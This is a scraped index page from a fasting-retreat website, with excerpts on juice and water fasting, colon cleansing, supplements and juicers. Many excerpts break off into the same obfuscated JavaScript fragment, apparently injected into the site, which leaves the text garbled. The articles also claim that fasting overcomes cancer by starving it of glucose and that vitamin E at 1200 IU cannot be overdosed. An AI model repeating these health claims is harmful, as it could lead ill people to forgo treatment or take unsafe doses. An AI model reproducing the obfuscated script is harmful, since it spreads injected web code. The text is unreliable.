Tom Coghill

I live in the Philippines and offer a fasting and teaching retreat in Sagada conducting and researching a holistic program.

Breville Juicer

This juice is great for veggies. The opening is huge enough for an apple so it cuts down the preparation time. It is not a good extractor for fruit especially melons. The pulp container is sloppy wet. But for veggies, it is fa

The Right Attitude

The Right Attitude

Many have overcome cancer with fasting. For those who have the discipline $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");ret

You Will Be Tempted

You Will Be Tempted

After forty days in the desert, Satan came to tempt Jesus. You also will be tempted. Satan will not ask you to turn stone into bread but bread into toast because he knows the aroma of fresh toast is deadlier than krypton to a

Fasting Downs and Highs

Fasting is a roller coaster ride full of ups, downs, swerves and turns. During a fast, you can be flying high on the jet streams of exhilaration and unexpectedly nose-dive, free-falling face first into physical weakness and d

Detoxification Program Stages

Detoxification Program Stages

Here is an overview of the detoxification stages during a juice fasting program. The time periods are a general estimation. Detoxification Program, Stage 1 (Day 1 To Day 2 of a fast) On the first day of fasting, the bloo

Water Fasting Tips

1. Water fasting dem$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnj

Healing With Water Fasting

In combating cancer, water fasting aggressively cleanses the body tissue, which can be more beneficial than juice fasting when combating cancer. Cancer fights the body for glucose. Water fasting cuts off cancer’s food supply $

Intercession

Intercession

Fasting $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\

Fasting & Dietary Fiber

Fasting & Dietary Fiber

There are two types of Dietary fiber soluble $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.

Fasting Bible Scriptures

Fasting Bible Scriptures

Here are all the Bible scriptures that mention fasting 1Ki 21:9 In those letters she wrote: "Proclaim a day of fasting $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWb

Beneficial Intestinal Bacteria

Beneficial Intestinal Bacteria

Inside a healthy lower intestine are billions of beneficial intestinal bacteria or microflora. These bacteria are of the bifidus $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $s

Colon Cleansing Formulas

Colon Cleansing Formulas

These are mixtures of several dietary fibers, both soluble $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0uj

Alternating Juice and Water Fas .:.

Alternating Juice and Water Fasts

The more skilled I became at fasting, the more I changed between juice and water fasting. I found the cleansing to be deep and during the water there was no hunger. I only craved juice. Alternate between water and juice fasti

Prolonged Fasting

A prolonged fast is anything over 20 days on juice $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnj

Blackstrap Molasses

Blackstrap Molasses

Blackstrap molasses contains the iron $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};

Spirulina

Spirulina

Spirulina Nutritional Content Spirulina is a single celled blue green alga, that contains 10 vitamins, 8 minerals, $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6n

Multi-Vitamin and Mineral Suppl .:.

Multi-Vitamin and Mineral Supplements

Multi-Vitamin and Mineral Supplements are excellent during a juice fast. In healing, there can be great value in high-quality vitamin and mineral supplements. We recommend organically grown, naturally derived vitamins and miner

Chlorophyll

Chlorophyll

Chlorophyll Products High-quality chlorophyll products are excellent because they oxygenate the blood, building its hemoglobin, similar to iron. This increases healing $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanW

Aloe Vera

Aloe Vera

Most Aloe Vera products on the market are useless because they have been pasteurized. Look for whole-leaf, cold-processed. Aloe Vera is excellent for the healing of digestive $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKW

Antioxidants

Antioxidants

Antioxidants are excellent during a juice fast. These are naturally present in fruits $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse

Colon Cleansers

Colon Cleansers

Colon Cleanser Colon Cleansers are even more effective when juice fasting but do not use them during water fasting. There are some very effective products in cleansing the colon. Psyllium husk, which is the base for most colon

Supplements Overview

Supplements Overview

Health can be an extremely frustrating $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n

Vitamin E

Vitamin E

Good to take all the time but even more important during a juice fast. 1200 IU is great. You can't overdoes. What do you think of vitamin E during fasting? By Tom Coghill of Fasting.ws Articles  may be copied or reproduce

Champion Juicer

For me the best choice for a juicer. Mine is 30 years old $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYK

Exercise During Fasting?

Exercise During Fasting?

Question about exercise during fasting Hi, What acivity should I do during the fast? I read that you did hard physical labour. I thought one should conserve energy. Thank you Nathan Gogol Fasting gets easier the long